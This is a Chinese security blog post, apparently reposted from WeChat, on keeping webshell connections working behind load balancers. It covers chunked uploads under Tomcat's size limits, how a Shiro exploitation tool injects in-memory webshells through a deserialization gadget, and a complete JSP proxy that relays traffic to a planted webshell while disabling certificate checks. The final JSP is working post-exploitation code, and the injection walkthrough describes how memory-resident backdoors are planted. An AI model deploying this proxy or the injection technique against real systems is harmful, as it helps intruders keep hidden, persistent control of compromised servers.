问题分析
问题一:为什么shell管理工具文件上传需要分包?
其他设置
中设置分片的大小,默认是500kb
,那有小伙伴可能要说了,那我将这个值改成一个比较大的值不就可以一次性上传大文件也就相当于解决了负载均衡的问题。理论上是没错的,我们改分包的大小为5000kb
试试,提示 上传失败!
抓包可以看到确实发起了上传请求但是并 没有获取到返回结果 ,并且我们可以看到上传的内容都是在z2
参数中,那么会不会是请求参数有大小限制导致的?
经过查阅资料, Tomcat默认参数大小为2M ,所以才需要对上传操作分包上传。
问题二:是否有其他方式上传大文件?
问题三:有什么方法可以解决负载均衡下的webshell连接问题?
其实在很早以前Medicean
表哥就分析过这个问题,可以参考负载均衡下的 WebShell连接。
在这篇文章中他提出了一个比较稳妥的解决方案,即实现HTTP代理,将所有对webshell的连接请求都代理到指定的一台节点上处理,我们只需要和代理交互即可 。
虽然Medicean
表哥提出了解决方案,不过并没有给出具体的实现代码,所以我们只能自己去写,不过这个逻辑本身也比较简单,
请求代理url时构建一个新的url请求并发送到指定节点,最后获取返回结果并返回给客户端 。
环境搭建
这里我开了两台web进行模拟。
tomcat 模拟负载均衡 的主机,这台主机上有一个webshell(http://192.168.3.1:8088/test666.jsp)。
springboot启动的web 模拟代理 的功能(主要是为了方便调试),需要将所有对webshell的请求转发到tomcat中处理并获取返回结果(http://192.168.3.1:8089)。
问题处理
HttpsURLConnection
来处理URL请求。可以分为下面几个步骤实现代理功能。步骤一:接收请求内容并发给目标
request.getInputStream
获取请求内容。但是这里有个小坑点,由于我是使用springboot来模拟proxy
的,但springboot在到达我们的proxy Controller之前会读取InputStream中的内容,所以在proxy Controller中去读request.getInputStream
是获取不到内容的 。doFilter
中添加我们代理的逻辑。步骤二:获取目标返回结果并返回给客户端
OutputStream
获取响应。效果演示
下面是 蚁剑 的测试,proxy2
是我注入的内存马的URL:
冰蝎演示
内存马种植问题

那我们分析下这款工具是如何注入内存马的。
当我们执行内存马植入操作,主要会交给attack.core.AttackService#injectMem
处理请求。GadgetPayload
生成加密后的Remeberme的值,将这个值设置到Cookie中,并且植入内存马的密码和路径都会被设置到请求头中。接下来通过MemBytes.getBytes
获取要注入的内存马的类的Base64后的字节码并设置到dy字段中。所以在dy
参数中保存的才是真正的内存马。Cookie
中保存的只是加载内存马的Loader。
TemplatesImpl
中最终会将_bytecodes
中的类实例化,所以到服务端会执行InjectMemTool
的构造方法。

InjectMemTool
构造方法中通过反射获取request
对象的dy
参数,Base64解码后通过defineClass加载类,最终实例化后调用equal
方法。这里作者还是下了一些功夫的,为了压缩这个类的体积,将反射获取字段内容抽出来构造了getFV
方法。equals
方法会去通过addFilter
或者addServlet
添加内存马。doFilter
方法改成我们的代理类的内容,所以要分析MemBytes.getBytes
的逻辑。getBytes
根据传入的类型找到classname
,再根据classname
从MEM_TOOLS
中找到实现类的字节码。ProxyFilter
并没有在界面上显示。Filter
覆盖为我们的Proxy的方式来实现。可惜作者没有在GITHUB开源,二开不太方便。SSL问题

完整实现
最后给出完整实现的JSP版本。
<%@ page="" contenttype="text/html;charset=UTF-8" language="java">
<%@ page="" import="javax.net.ssl.*">
<%@ page="" import="java.io.ByteArrayOutputStream">
<%@ page="" import="java.io.DataInputStream">
<%@ page="" import="java.io.InputStream">
<%@ page="" import="java.io.OutputStream">
<%@ page="" import="java.net.HttpURLConnection">
<%@ page="" import="java.net.URL">
<%@ page="" import="java.security.KeyManagementException">
<%@ page="" import="java.security.NoSuchAlgorithmException">
<%@ page="" import="java.security.cert.CertificateException">
<%@ page="" import="java.security.cert.X509Certificate">
<%!< code="">
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%< code="">
String target = "https://127.0.0.1:8443/test666.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
参考文章
欢迎关注、分享
原文始发于微信公众号(Top security):负载均衡踩坑记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论